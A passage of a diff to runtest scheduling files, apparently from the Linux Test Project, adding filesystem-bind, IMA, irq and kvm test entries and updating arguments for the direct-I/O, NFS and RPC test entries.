+fs_bind_move04_sh fs_bind_move04.sh
+fs_bind_move05_sh fs_bind_move05.sh
+fs_bind_move06_sh fs_bind_move06.sh
+fs_bind_move07_sh fs_bind_move07.sh
+fs_bind_move08_sh fs_bind_move08.sh
+fs_bind_move09_sh fs_bind_move09.sh
+fs_bind_move10_sh fs_bind_move10.sh
+fs_bind_move11_sh fs_bind_move11.sh
+fs_bind_move12_sh fs_bind_move12.sh
+fs_bind_move13_sh fs_bind_move13.sh
+fs_bind_move14_sh fs_bind_move14.sh
+fs_bind_move15_sh fs_bind_move15.sh
+fs_bind_move16_sh fs_bind_move16.sh
+fs_bind_move17_sh fs_bind_move17.sh
+fs_bind_move18_sh fs_bind_move18.sh
+fs_bind_move19_sh fs_bind_move19.sh
+fs_bind_move20_sh fs_bind_move20.sh
+fs_bind_move21_sh fs_bind_move21.sh
+fs_bind_move22_sh fs_bind_move22.sh
+
+
+fs_bind_rbind01_sh fs_bind_rbind01.sh
+fs_bind_rbind02_sh fs_bind_rbind02.sh
+fs_bind_rbind03_sh fs_bind_rbind03.sh
+fs_bind_rbind04_sh fs_bind_rbind04.sh
+fs_bind_rbind05_sh fs_bind_rbind05.sh
+fs_bind_rbind06_sh fs_bind_rbind06.sh
+fs_bind_rbind07-2_sh fs_bind_rbind07-2.sh
+fs_bind_rbind07_sh fs_bind_rbind07.sh
+fs_bind_rbind08_sh fs_bind_rbind08.sh
+fs_bind_rbind09_sh fs_bind_rbind09.sh
+fs_bind_rbind10_sh fs_bind_rbind10.sh
+fs_bind_rbind11_sh fs_bind_rbind11.sh
+fs_bind_rbind12_sh fs_bind_rbind12.sh
+fs_bind_rbind13_sh fs_bind_rbind13.sh
+fs_bind_rbind14_sh fs_bind_rbind14.sh
+fs_bind_rbind15_sh fs_bind_rbind15.sh
+fs_bind_rbind16_sh fs_bind_rbind16.sh
+fs_bind_rbind17_sh fs_bind_rbind17.sh
+fs_bind_rbind18_sh fs_bind_rbind18.sh
+fs_bind_rbind19_sh fs_bind_rbind19.sh
+fs_bind_rbind20_sh fs_bind_rbind20.sh
+fs_bind_rbind21_sh fs_bind_rbind21.sh
+fs_bind_rbind22_sh fs_bind_rbind22.sh
+fs_bind_rbind23_sh fs_bind_rbind23.sh
+fs_bind_rbind24_sh fs_bind_rbind24.sh
+fs_bind_rbind25_sh fs_bind_rbind25.sh
+fs_bind_rbind26_sh fs_bind_rbind26.sh
+fs_bind_rbind27_sh fs_bind_rbind27.sh
+fs_bind_rbind28_sh fs_bind_rbind28.sh
+fs_bind_rbind29_sh fs_bind_rbind29.sh
+fs_bind_rbind30_sh fs_bind_rbind30.sh
+fs_bind_rbind31_sh fs_bind_rbind31.sh
+fs_bind_rbind32_sh fs_bind_rbind32.sh
+fs_bind_rbind33_sh fs_bind_rbind33.sh
+fs_bind_rbind34_sh fs_bind_rbind34.sh
+fs_bind_rbind35_sh fs_bind_rbind35.sh
+fs_bind_rbind36_sh fs_bind_rbind36.sh
+fs_bind_rbind37_sh fs_bind_rbind37.sh
+fs_bind_rbind38_sh fs_bind_rbind38.sh
+fs_bind_rbind39_sh fs_bind_rbind39.sh
+
+
+fs_bind_regression_sh fs_bind_regression.sh
+
+
+fs_bind_cloneNS01_sh fs_bind_cloneNS01.sh
+fs_bind_cloneNS02_sh fs_bind_cloneNS02.sh
+fs_bind_cloneNS03_sh fs_bind_cloneNS03.sh
+fs_bind_cloneNS04_sh fs_bind_cloneNS04.sh
+fs_bind_cloneNS05_sh fs_bind_cloneNS05.sh
+fs_bind_cloneNS06_sh fs_bind_cloneNS06.sh
+fs_bind_cloneNS07_sh fs_bind_cloneNS07.sh
diff --git a/runtest/ima b/runtest/ima
index 29caa03..01942ee 100644
--- a/runtest/ima
+++ b/runtest/ima
@@ -6,4 +6,5 @@
 ima_keys ima_keys.sh
 ima_kexec ima_kexec.sh
 ima_selinux ima_selinux.sh
+ima_conditionals ima_conditionals.sh
 evm_overlay evm_overlay.sh
diff --git a/runtest/io_cd b/runtest/io_cd
deleted file mode 100644
index f4ca560..0000000
--- a/runtest/io_cd
+++ /dev/null
@@ -1 +0,0 @@
-stress_cd stress_cd
diff --git a/runtest/io_floppy b/runtest/io_floppy
deleted file mode 100644
index c861d9f..0000000
--- a/runtest/io_floppy
+++ /dev/null
@@ -1 +0,0 @@
-stress_floppy stress_floppy
diff --git a/runtest/irq b/runtest/irq
new file mode 100644
index 0000000..56d0d23
--- /dev/null
+++ b/runtest/irq
@@ -0,0 +1 @@
+irqbalance01 irqbalance01
diff --git a/runtest/kvm b/runtest/kvm
new file mode 100644
index 0000000..16e7c07
--- /dev/null
+++ b/runtest/kvm
@@ -0,0 +1 @@
+kvm_pagefault01 kvm_pagefault01
diff --git a/runtest/ltp-aiodio.part2 b/runtest/ltp-aiodio.part2
index 00b9abf..599c9fd 100644
--- a/runtest/ltp-aiodio.part2
+++ b/runtest/ltp-aiodio.part2
@@ -1,88 +1,83 @@
 ADSP000 aiodio_sparse
 ADSP001 aiodio_sparse -s 180k
-ADSP002 aiodio_sparse -dd -s 1751k -w 11k
-ADSP003 aiodio_sparse -i 9 -d -s 180k -w 18k
-ADSP004 aiodio_sparse -i 2 -a 2k -w 2k -s 4k -n 2
-ADSP005 aiodio_sparse -i 2 -a 4k -w 4k -s 8k -n 2
-ADSP006 aiodio_sparse -i 2 -a 4k -w 4k -s 8k -n 2
-ADSP007 aiodio_sparse -i 4 -a 8k -w 8k -s 32k -n 2
-ADSP008 aiodio_sparse -i 4 -a 8k -w 16k -s 64k -n 2
-ADSP009 aiodio_sparse -i 4 -a 8k -w 32k -s 128k -n 2
-ADSP010 aiodio_sparse -i 4 -a 8k -w 64k -s 256k -n 2
-ADSP011 aiodio_sparse -i 4 -a 8k -w 128k -s 512k -n 2
-ADSP012 aiodio_sparse -i 4 -a 8k -w 256k -s 1024k -n 2
-ADSP013 aiodio_sparse -i 4 -a 8k -w 512k -s 2048k -n 2
-ADSP014 aiodio_sparse -i 4 -a 8k -w 1024k -s 4096k -n 2
-ADSP015 aiodio_sparse -i 4 -a 8k -w 2048k -s 8192k -n 2
-ADSP016 aiodio_sparse -i 4 -a 8k -w 4096k -s 16384k -n 2
-ADSP017 aiodio_sparse -i 4 -a 8k -w 8192k -s 32768k -n 2
-ADSP018 aiodio_sparse -i 4 -a 8k -w 16384k -s 65536k -n 2
-ADSP019 aiodio_sparse -i 4 -a 8k -w 16384k -s 65536k -n 4
-ADSP020 aiodio_sparse -i 4 -a 8k -w 16384k -s 65536k -n 6
-ADSP021 aiodio_sparse -i 4 -a 8k -w 128k -s 512k -n 6
-ADSP022 aiodio_sparse -i 4 -a 8k -w 256k -s 1024k -n 6
-ADSP023 aiodio_sparse -i 4 -a 8k -w 512k -s 2048k -n 6
-ADSP024 aiodio_sparse -i 4 -a 8k -w 1024k -s 4096k -n 6
-ADSP025 aiodio_sparse -i 4 -a 8k -w 2048k -s 8192k -n 6
-ADSP026 aiodio_sparse -i 4 -a 8k -w 4096k -s 16384k -n 6
-ADSP027 aiodio_sparse -i 4 -a 8k -w 18192k -s 72768k -n 6
-ADSP028 aiodio_sparse -i 4 -a 8k -w 18192k -s 518192k -n 6
-ADSP029 aiodio_sparse -i 4 -a 8k -w 65536k -s 262144k -n 6
-ADSP030 aiodio_sparse -i 6 -a 8k -w 65536k -n 6
-ADSP031 aiodio_sparse -i 8 -a 8k -w 128k -s 1024k -n 6
-ADSP032 aiodio_sparse -i 16 -a 8k -w 256k -s 4096k -n 6
-ADSP033 aiodio_sparse -i 32 -a 8k -w 512k -s 16384k -n 6
-ADSP034 aiodio_sparse -i 64 -a 8k -w 1024k -s 65536k -n 6
-ADSP035 aiodio_sparse -i 4 -a 8k -w 4096k -s 16384k -n 32
-ADSP036 aiodio_sparse -i 4 -a 8k -w 4096k -s 16384k -n 64
-ADSP037 aiodio_sparse -i 4 -a 8k -w 18192k -s 72768k -n 128
-ADSP038 aiodio_sparse -i 4 -a 8k -w 18192k -n 512
-ADSP039 aiodio_sparse -i 4 -a 8k -w 18192k -n 1000
-ADSP040 dio_sparse
-ADSP041 dio_sparse -s 180k
-ADSP042 dio_sparse -dd -s 1751k -w 11k
-ADSP043 dio_sparse  -d -s 180k -w 18k
-ADSP044 dio_sparse  -a 2k -w 2k -s 2k -n 2
-ADSP045 dio_sparse  -a 4k -w 4k -s 2k -n 2
-ADSP046 dio_sparse  -a 4k -w 4k -s 4k -n 2
-ADSP047 dio_sparse  -a 8k -w 16k -s 16k -n 2
-ADSP048 dio_sparse  -a 8k -w 32k -s 32k -n 2
-ADSP049 dio_sparse  -a 8k -w 64k -s 64k -n 2
-ADSP050 dio_sparse  -a 8k -w 128k -s 128k -n 2
-ADSP051 dio_sparse  -a 8k -w 256k -s 256k -n 2
-ADSP052 dio_sparse  -a 8k -w 512k -s 512k -n 2
-ADSP053 dio_sparse  -a 8k -w 1024k -s 1024k -n 2
-ADSP054 dio_sparse  -a 8k -w 2048k -s 2048k -n 2
-ADSP055 dio_sparse  -a 8k -w 4096k -s 4096k -n 2
-ADSP056 dio_sparse  -a 8k -w 8192k -s 8192k -n 2
-ADSP057 dio_sparse  -a 8k -w 18192k -s 18192k -n 2
-ADSP058 dio_sparse  -a 8k -w 518192k -s 518192k -n 2
-ADSP059 dio_sparse  -a 8k -w 58192k -s 58192k -n 4
-ADSP060 dio_sparse  -a 8k -w 58192k -s 58192k -n 6
-ADSP061 dio_sparse  -a 8k -w 256k -s 256k -n 6
-ADSP062 dio_sparse  -a 8k -w 512k -s 512k -n 6
-ADSP063 dio_sparse  -a 8k -w 1024k -s 1024k -n 6
-ADSP064 dio_sparse  -a 8k -w 2048k -s 2048k -n 6
-ADSP065 dio_sparse  -a 8k -w 2048k -s 4096k -n 6
-ADSP066 dio_sparse  -a 8k -w 8192k -s 8192k -n 6
-ADSP067 dio_sparse  -a 8k -w 18192k -s 18192k -n 6
-ADSP068 dio_sparse  -a 8k -w 58192k -s 518192k -n 6
-ADSP069 dio_sparse  -a 8k -w 58192k -s 58192k -n 6
-ADSP070 dio_sparse  -a 8k -w 518192k -s 518192k -n 6
-ADSP071 dio_sparse  -a 8k -w 256k -s 256k -n 6
-ADSP072 dio_sparse  -a 8k -w 512k -s 512k -n 6
-ADSP073 dio_sparse  -a 8k -w 1024k -s 1024k -n 6
-ADSP074 dio_sparse  -a 8k -w 1024k -s 2048k -n 6
-ADSP075 dio_sparse  -a 8k -w 4096k -s 4096k -n 32
-ADSP076 dio_sparse  -a 8k -w 8192k -s 8192k -n 64
-ADSP077 dio_sparse  -a 8k -w 518192k -s 18192k -n 128
-ADSP078 dio_sparse  -a 8k -w 518192k -s 518192k -n 512
-ADSP079 dio_sparse  -a 8k -w 518192k -s 518192k -n 1000
-ADSP080 dio_sparse  -a 4k -w 4k -s 2k -o 2k -n 2
-ADSP081 dio_sparse  -a 2k -w 2k -s 1k -o 1k -n 2
-ADSP082 dio_sparse  -a 1k -w 1k -s 512 -o 512 -n 2
-ADSP083 dio_sparse  -a 4k -w 4k -s 2k -o 3k -n 2
-ADSP084 dio_sparse  -a 4k -w 4k -s 4k -o 4k -n 2
-ADSP085 dio_sparse  -a 4k -w 4k -s 4k -o 6k -n 2
-ADSP086 dio_sparse  -a 4k -w 4k -s 4k -o 8k -n 2
-ADSP087 dio_sparse  -a 4k -w 16k -s 8k -o 8k -n 2
+ADSP002 aiodio_sparse -s 1751k -w 11k
+ADSP003 aiodio_sparse -o 9 -s 180k -w 18k
+ADSP004 aiodio_sparse -o 2 -w 2k -s 4k -n 2
+ADSP005 aiodio_sparse -o 2 -w 4k -s 8k -n 2
+ADSP006 aiodio_sparse -o 4 -w 8k -s 32k -n 2
+ADSP007 aiodio_sparse -o 4 -w 16k -s 64k -n 2
+ADSP008 aiodio_sparse -o 4 -w 32k -s 128k -n 2
+ADSP009 aiodio_sparse -o 4 -w 64k -s 256k -n 2
+ADSP010 aiodio_sparse -o 4 -w 128k -s 512k -n 2
+ADSP011 aiodio_sparse -o 4 -w 256k -s 1024k -n 2
+ADSP012 aiodio_sparse -o 4 -w 512k -s 2048k -n 2
+ADSP013 aiodio_sparse -o 4 -w 1024k -s 4096k -n 2
+ADSP014 aiodio_sparse -o 4 -w 2048k -s 8192k -n 2
+ADSP015 aiodio_sparse -o 4 -w 4096k -s 16384k -n 2
+ADSP016 aiodio_sparse -o 4 -w 8192k -s 32768k -n 2
+ADSP017 aiodio_sparse -o 4 -w 16384k -s 65536k -n 2
+ADSP018 aiodio_sparse -o 4 -w 16384k -s 65536k -n 4
+ADSP019 aiodio_sparse -o 4 -w 16384k -s 65536k -n 6
+ADSP020 aiodio_sparse -o 4 -w 128k -s 512k -n 6
+ADSP021 aiodio_sparse -o 4 -w 256k -s 1024k -n 6
+ADSP022 aiodio_sparse -o 4 -w 512k -s 2048k -n 6
+ADSP023 aiodio_sparse -o 4 -w 1024k -s 4096k -n 6
+ADSP024 aiodio_sparse -o 4 -w 2048k -s 8192k -n 6
+ADSP025 aiodio_sparse -o 4 -w 4096k -s 16384k -n 6
+ADSP026 aiodio_sparse -o 4 -w 18192k -s 72768k -n 6
+ADSP027 aiodio_sparse -o 4 -w 18192k -s 518192k -n 6
+ADSP028 aiodio_sparse -o 4 -w 65536k -s 262144k -n 6
+ADSP029 aiodio_sparse -o 6 -w 65536k -n 6
+ADSP030 aiodio_sparse -o 8 -w 128k -s 1024k -n 6
+ADSP031 aiodio_sparse -o 16 -w 256k -s 4096k -n 6
+ADSP032 aiodio_sparse -o 32 -w 512k -s 16384k -n 6
+ADSP033 aiodio_sparse -o 64 -w 1024k -s 65536k -n 6
+ADSP034 aiodio_sparse -o 4 -w 4096k -s 16384k -n 32
+ADSP035 aiodio_sparse -o 4 -w 4096k -s 16384k -n 64
+ADSP036 aiodio_sparse -o 4 -w 18192k -s 72768k -n 128
+ADSP037 aiodio_sparse -o 4 -w 18192k -n 512
+ADSP038 aiodio_sparse -o 4 -w 18192k -n 1000
+ADSP039 dio_sparse
+ADSP040 dio_sparse -s 180k
+ADSP041 dio_sparse -s 1751k -w 11k
+ADSP042 dio_sparse  -s 180k -w 18k
+ADSP043 dio_sparse  -w 2k -s 2k -n 2
+ADSP044 dio_sparse  -w 4k -s 2k -n 2
+ADSP045 dio_sparse  -w 4k -s 4k -n 2
+ADSP046 dio_sparse  -w 16k -s 16k -n 2
+ADSP047 dio_sparse  -w 32k -s 32k -n 2
+ADSP048 dio_sparse  -w 64k -s 64k -n 2
+ADSP049 dio_sparse  -w 128k -s 128k -n 2
+ADSP050 dio_sparse  -w 256k -s 256k -n 2
+ADSP051 dio_sparse  -w 512k -s 512k -n 2
+ADSP052 dio_sparse  -w 1024k -s 1024k -n 2
+ADSP053 dio_sparse  -w 2048k -s 2048k -n 2
+ADSP054 dio_sparse  -w 4096k -s 4096k -n 2
+ADSP055 dio_sparse  -w 8192k -s 8192k -n 2
+ADSP056 dio_sparse  -w 18192k -s 18192k -n 2
+ADSP057 dio_sparse  -w 518192k -s 518192k -n 2
+ADSP058 dio_sparse  -w 58192k -s 58192k -n 4
+ADSP059 dio_sparse  -w 58192k -s 58192k -n 6
+ADSP060 dio_sparse  -w 256k -s 256k -n 6
+ADSP061 dio_sparse  -w 512k -s 512k -n 6
+ADSP062 dio_sparse  -w 1024k -s 1024k -n 6
+ADSP063 dio_sparse  -w 2048k -s 2048k -n 6
+ADSP064 dio_sparse  -w 2048k -s 4096k -n 6
+ADSP065 dio_sparse  -w 8192k -s 8192k -n 6
+ADSP066 dio_sparse  -w 18192k -s 18192k -n 6
+ADSP067 dio_sparse  -w 58192k -s 518192k -n 6
+ADSP068 dio_sparse  -w 518192k -s 518192k -n 6
+ADSP069 dio_sparse  -w 1024k -s 2048k -n 6
+ADSP070 dio_sparse  -w 4096k -s 4096k -n 32
+ADSP071 dio_sparse  -w 8192k -s 8192k -n 64
+ADSP072 dio_sparse  -w 518192k -s 18192k -n 128
+ADSP073 dio_sparse  -w 518192k -s 518192k -n 512
+ADSP074 dio_sparse  -w 518192k -s 518192k -n 1000
+ADSP075 dio_sparse  -w 4k -s 2k -o 2k -n 2
+ADSP076 dio_sparse  -w 2k -s 1k -o 1k -n 2
+ADSP077 dio_sparse  -w 1k -s 512 -o 512 -n 2
+ADSP078 dio_sparse  -w 4k -s 2k -o 3k -n 2
+ADSP079 dio_sparse  -w 4k -s 4k -o 4k -n 2
+ADSP080 dio_sparse  -w 4k -s 4k -o 6k -n 2
+ADSP081 dio_sparse  -w 4k -s 4k -o 8k -n 2
+ADSP082 dio_sparse  -w 16k -s 8k -o 8k -n 2
diff --git a/runtest/ltp-aiodio.part4 b/runtest/ltp-aiodio.part4
index bb8abfd..d88c27a 100644
--- a/runtest/ltp-aiodio.part4
+++ b/runtest/ltp-aiodio.part4
@@ -34,16 +34,16 @@
 DIO08 dio_sparse
 DIO09 dio_sparse
 #Running aiodio_append
-AD000 aiodio_append $TMPDIR/aiodio.$$/file2
-AD001 aiodio_append $TMPDIR/aiodio.$$/file2
-AD002 aiodio_append $TMPDIR/aiodio.$$/file2
-AD003 aiodio_append $TMPDIR/aiodio.$$/file2
-AD004 aiodio_append $TMPDIR/aiodio.$$/file2
-AD005 aiodio_append $TMPDIR/aiodio.$$/file2
-AD006 aiodio_append $TMPDIR/aiodio.$$/file2
-AD007 aiodio_append $TMPDIR/aiodio.$$/file2
-AD008 aiodio_append $TMPDIR/aiodio.$$/file2
-AD009 aiodio_append $TMPDIR/aiodio.$$/file2
+AD000 aiodio_append
+AD001 aiodio_append
+AD002 aiodio_append
+AD003 aiodio_append
+AD004 aiodio_append
+AD005 aiodio_append
+AD006 aiodio_append
+AD007 aiodio_append
+AD008 aiodio_append
+AD009 aiodio_append
 #Running dio_append
 ADI000 dio_append
 ADI001 dio_append
@@ -59,10 +59,8 @@
 DIT000 dio_truncate
 DIT001 dio_truncate
 DIT002 dio_truncate
-#Running read_checkzero
-#gread_checkzero
-#Running ltp-diorh
-DOR000 ltp-diorh $TMPDIR/aiodio.$$/file2
-DOR001 ltp-diorh $TMPDIR/aiodio.$$/file3
-DOR002 ltp-diorh $TMPDIR/aiodio.$$/file4
-DOR003 ltp-diorh $TMPDIR/aiodio.$$/file5
+#Running dio_read
+DOR000 dio_read -n 1 -i 100 -r 512k -w 512k -s 32M
+DOR001 dio_read -n 10 -i 30 -r 512k -w 512k -s 32M
+DOR002 dio_read -n 20 -i 15 -r 512k -w 512k -s 32M
+DOR003 dio_read -n 100 -i 4 -r 512k -w 512k -s 32M
diff --git a/runtest/math b/runtest/math
index 110c41e..6915ebe 100644
--- a/runtest/math
+++ b/runtest/math
@@ -3,11 +3,11 @@
 
 atof01 atof01
 
-float_bessel cd $LTPROOT/testcases/bin; float_bessel -v
-float_exp_log cd $LTPROOT/testcases/bin; float_exp_log -v
-float_iperb cd $LTPROOT/testcases/bin; float_iperb -v
-float_power cd $LTPROOT/testcases/bin; float_power -v
-float_trigo cd $LTPROOT/testcases/bin; float_trigo -v
+float_bessel float_bessel -v
+float_exp_log float_exp_log -v
+float_iperb float_iperb -v
+float_power float_power -v
+float_trigo float_trigo -v
 
 fptest01 fptest01
 fptest02 fptest02
diff --git a/runtest/mm b/runtest/mm
index 6537666..ed61238 100644
--- a/runtest/mm
+++ b/runtest/mm
@@ -15,8 +15,8 @@
 #test for race conditions
 mtest05   mmstress
 mtest06   mmap1
-mtest06_2 mmap2 -x 0.002 -a -p
-mtest06_3 mmap3 -x 0.002 -p
+mtest06_2 mmap2 -a -p
+mtest06_3 mmap3 -p
 # Remains diabled till the infinite loop problem is solved
 #mtest-6_4 shmat1 -x 0.00005
 
diff --git a/runtest/net.nfs b/runtest/net.nfs
index 3df3580..3249c35 100644
--- a/runtest/net.nfs
+++ b/runtest/net.nfs
@@ -2,77 +2,88 @@
 #
 # PLEASE READ THE README FILE network/README.md BEFORE RUNNING THESE.
 #
-nfs3_01 nfs01 -v 3 -t udp
-nfs3t_01 nfs01 -v 3 -t tcp
-nfs4_01 nfs01 -v 4 -t tcp
-nfs41_01 nfs01 -v 4.1 -t tcp
-nfs42_01 nfs01 -v 4.2 -t tcp
-nfs3_ipv6_01 nfs01 -6 -v 3 -t udp
-nfs3t_ipv6_01 nfs01 -6 -v 3 -t tcp
-nfs4_ipv6_01 nfs01 -6 -v 4 -t tcp
-nfs41_ipv6_01 nfs01 -6 -v 4.1 -t tcp
-nfs42_ipv6_01 nfs01 -6 -v 4.2 -t tcp
+nfs3_01 nfs01.sh -v 3 -t udp
+nfs3t_01 nfs01.sh -v 3 -t tcp
+nfs4_01 nfs01.sh -v 4 -t tcp
+nfs41_01 nfs01.sh -v 4.1 -t tcp
+nfs42_01 nfs01.sh -v 4.2 -t tcp
+nfs3_ipv6_01 nfs01.sh -6 -v 3 -t udp
+nfs3t_ipv6_01 nfs01.sh -6 -v 3 -t tcp
+nfs4_ipv6_01 nfs01.sh -6 -v 4 -t tcp
+nfs41_ipv6_01 nfs01.sh -6 -v 4.1 -t tcp
+nfs42_ipv6_01 nfs01.sh -6 -v 4.2 -t tcp
 
-nfs3_02 nfs02 -v 3 -t udp
-nfs3t_02 nfs02 -v 3 -t tcp
-nfs4_02 nfs02 -v 4 -t tcp
-nfs41_02 nfs02 -v 4.1 -t tcp
-nfs42_02 nfs02 -v 4.2 -t tcp
-nfs3_ipv6_02 nfs02 -6 -v 3 -t udp
-nfs3t_ipv6_02 nfs02 -6 -v 3 -t tcp
-nfs4_ipv6_02 nfs02 -6 -v 4 -t tcp
-nfs41_ipv6_02 nfs02 -6 -v 4.1 -t tcp
-nfs42_ipv6_02 nfs02 -6 -v 4.2 -t tcp
+nfs3_02 nfs02.sh -v 3 -t udp
+nfs3t_02 nfs02.sh -v 3 -t tcp
+nfs4_02 nfs02.sh -v 4 -t tcp
+nfs41_02 nfs02.sh -v 4.1 -t tcp
+nfs42_02 nfs02.sh -v 4.2 -t tcp
+nfs3_ipv6_02 nfs02.sh -6 -v 3 -t udp
+nfs3t_ipv6_02 nfs02.sh -6 -v 3 -t tcp
+nfs4_ipv6_02 nfs02.sh -6 -v 4 -t tcp
+nfs41_ipv6_02 nfs02.sh -6 -v 4.1 -t tcp
+nfs42_ipv6_02 nfs02.sh -6 -v 4.2 -t tcp
 
-nfs3_03 nfs03 -v 3 -t udp
-nfs3t_03 nfs03 -v 3 -t tcp
-nfs4_03 nfs03 -v 4 -t tcp
-nfs41_03 nfs03 -v 4.1 -t tcp
-nfs42_03 nfs03 -v 4.2 -t tcp
-nfs3_ipv6_03 nfs03 -6 -v 3 -t udp
-nfs3t_ipv6_03 nfs03 -6 -v 3 -t tcp
-nfs4_ipv6_03 nfs03 -6 -v 4 -t tcp
-nfs41_ipv6_03 nfs03 -6 -v 4.1 -t tcp
-nfs42_ipv6_03 nfs03 -6 -v 4.2 -t tcp
+nfs3_03 nfs03.sh -v 3 -t udp
+nfs3t_03 nfs03.sh -v 3 -t tcp
+nfs4_03 nfs03.sh -v 4 -t tcp
+nfs41_03 nfs03.sh -v 4.1 -t tcp
+nfs42_03 nfs03.sh -v 4.2 -t tcp
+nfs3_ipv6_03 nfs03.sh -6 -v 3 -t udp
+nfs3t_ipv6_03 nfs03.sh -6 -v 3 -t tcp
+nfs4_ipv6_03 nfs03.sh -6 -v 4 -t tcp
+nfs41_ipv6_03 nfs03.sh -6 -v 4.1 -t tcp
+nfs42_ipv6_03 nfs03.sh -6 -v 4.2 -t tcp
 
-nfs3_04 nfs04 -v 3 -t udp
-nfs3t_04 nfs04 -v 3 -t tcp
-nfs4_04 nfs04 -v 4 -t tcp
-nfs41_04 nfs04 -v 4.1 -t tcp
-nfs42_04 nfs04 -v 4.2 -t tcp
-nfs3_ipv6_04 nfs04 -6 -v 3 -t udp
-nfs3t_ipv6_04 nfs04 -6 -v 3 -t tcp
-nfs4_ipv6_04 nfs04 -6 -v 4 -t tcp
-nfs41_ipv6_04 nfs04 -6 -v 4.1 -t tcp
-nfs42_ipv6_04 nfs04 -6 -v 4.2 -t tcp
+nfs3_04 nfs04.sh -v 3 -t udp
+nfs3t_04 nfs04.sh -v 3 -t tcp
+nfs4_04 nfs04.sh -v 4 -t tcp
+nfs41_04 nfs04.sh -v 4.1 -t tcp
+nfs42_04 nfs04.sh -v 4.2 -t tcp
+nfs3_ipv6_04 nfs04.sh -6 -v 3 -t udp
+nfs3t_ipv6_04 nfs04.sh -6 -v 3 -t tcp
+nfs4_ipv6_04 nfs04.sh -6 -v 4 -t tcp
+nfs41_ipv6_04 nfs04.sh -6 -v 4.1 -t tcp
+nfs42_ipv6_04 nfs04.sh -6 -v 4.2 -t tcp
 
-nfs3_05 nfs05 -v 3 -t udp
-nfs3t_05 nfs05 -v 3 -t tcp
-nfs4_05 nfs05 -v 4 -t tcp
-nfs41_05 nfs05 -v 4.1 -t tcp
-nfs42_05 nfs05 -v 4.2 -t tcp
-nfs3_ipv6_05 nfs05 -6 -v 3 -t udp
-nfs3t_ipv6_05 nfs05 -6 -v 3 -t tcp
-nfs4_ipv6_05 nfs05 -6 -v 4 -t tcp
-nfs41_ipv6_05 nfs05 -6 -v 4.1 -t tcp
-nfs42_ipv6_05 nfs05 -6 -v 4.2 -t tcp
+nfs3_05 nfs05.sh -v 3 -t udp
+nfs3t_05 nfs05.sh -v 3 -t tcp
+nfs4_05 nfs05.sh -v 4 -t tcp
+nfs41_05 nfs05.sh -v 4.1 -t tcp
+nfs42_05 nfs05.sh -v 4.2 -t tcp
+nfs3_ipv6_05 nfs05.sh -6 -v 3 -t udp
+nfs3t_ipv6_05 nfs05.sh -6 -v 3 -t tcp
+nfs4_ipv6_05 nfs05.sh -6 -v 4 -t tcp
+nfs41_ipv6_05 nfs05.sh -6 -v 4.1 -t tcp
+nfs42_ipv6_05 nfs05.sh -6 -v 4.2 -t tcp
 
-nfs01_06  nfs06 -v "3,3,3,4,4,4" -t "udp,udp,tcp,tcp,tcp,tcp"
-nfs02_06 nfs06 -v "3,4,4.1,4.2,4.2,4.2" -t "udp,tcp,tcp,tcp,tcp,tcp"
-nfs03_ipv6_06 nfs06 -6 -v "4,4.1,4.1,4.2,4.2,4.2" -t "tcp,tcp,tcp,tcp,tcp,tcp"
+nfs01_06  nfs06.sh -v "3,3,3,4,4,4" -t "udp,udp,tcp,tcp,tcp,tcp"
+nfs02_06 nfs06.sh -v "3,4,4.1,4.2,4.2,4.2" -t "udp,tcp,tcp,tcp,tcp,tcp"
+nfs03_ipv6_06 nfs06.sh -6 -v "4,4.1,4.1,4.2,4.2,4.2" -t "tcp,tcp,tcp,tcp,tcp,tcp"
 
-nfslock3_01 nfslock01 -v 3 -t udp
-nfslock3t_01 nfslock01 -v 3 -t tcp
-nfslock4_01 nfslock01 -v 4 -t tcp
-nfslock41_01 nfslock01 -v 4.1 -t tcp
-nfslock42_01 nfslock01 -v 4.2 -t tcp
-nfslock3_ipv6_01 nfslock01 -6 -v 3 -t udp
-nfslock3t_ipv6_01 nfslock01 -6 -v 3 -t tcp
-nfslock4_ipv6_01 nfslock01 -6 -v 4 -t tcp
-nfslock41_ipv6_01 nfslock01 -6 -v 4.1 -t tcp
-nfslock42_ipv6_01 nfslock01 -6 -v 4.2 -t tcp
+nfs3_07 nfs07.sh -v 3 -t udp
+nfs3t_07 nfs07.sh -v 3 -t tcp
+nfs4_07 nfs07.sh -v 4 -t tcp
+nfs41_07 nfs07.sh -v 4.1 -t tcp
+nfs42_07 nfs07.sh -v 4.2 -t tcp
+nfs3_ipv6_07 nfs07.sh -6 -v 3 -t udp
+nfs3t_ipv6_07 nfs07.sh -6 -v 3 -t tcp
+nfs4_ipv6_07 nfs07.sh -6 -v 4 -t tcp
+nfs41_ipv6_07 nfs07.sh -6 -v 4.1 -t tcp
+nfs42_ipv6_07 nfs07.sh -6 -v 4.2 -t tcp
 
-nfsstat3_01 nfsstat01
+nfslock3_01 nfslock01.sh -v 3 -t udp
+nfslock3t_01 nfslock01.sh -v 3 -t tcp
+nfslock4_01 nfslock01.sh -v 4 -t tcp
+nfslock41_01 nfslock01.sh -v 4.1 -t tcp
+nfslock42_01 nfslock01.sh -v 4.2 -t tcp
+nfslock3_ipv6_01 nfslock01.sh -6 -v 3 -t udp
+nfslock3t_ipv6_01 nfslock01.sh -6 -v 3 -t tcp
+nfslock4_ipv6_01 nfslock01.sh -6 -v 4 -t tcp
+nfslock41_ipv6_01 nfslock01.sh -6 -v 4.1 -t tcp
+nfslock42_ipv6_01 nfslock01.sh -6 -v 4.2 -t tcp
+
+nfsstat3_01 nfsstat01.sh
 
 nfsx3 fsx.sh -v 3 -t udp
 nfsx3t fsx.sh -v 3 -t tcp
diff --git a/runtest/net.rpc b/runtest/net.rpc
deleted file mode 100644
index fb0665f..0000000
--- a/runtest/net.rpc
+++ /dev/null
@@ -1,8 +0,0 @@
-#DESCRIPTION:Remote Procedure Call
-#
-# PLEASE READ THE README FILE IN /rpc BEFORE RUNNING THESE.
-#
-rpc01 rpc01.sh
-rpcinfo rpcinfo01.sh
-rup rup01.sh
-rusers rusers01.sh
diff --git a/runtest/net.rpc_tests b/runtest/net.rpc_tests
index 84c2960..25d219d 100644
--- a/runtest/net.rpc_tests
+++ b/runtest/net.rpc_tests
@@ -1,3 +1,6 @@
+rpc01 rpc01.sh
+rpcinfo rpcinfo01.sh
+
 rpc_pmap_set rpc_test.sh -c rpc_pmap_set
 rpc_pmap_unset rpc_test.sh -c rpc_pmap_unset
 rpc_pmap_getport rpc_test.sh -s rpc_svc_1 -c rpc_pmap_getport
diff --git a/runtest/net.tcp_cmds b/runtest/net.tcp_cmds
index db47dfd..7e142de 100644
--- a/runtest/net.tcp_cmds
+++ b/runtest/net.tcp_cmds
@@ -12,6 +12,7 @@
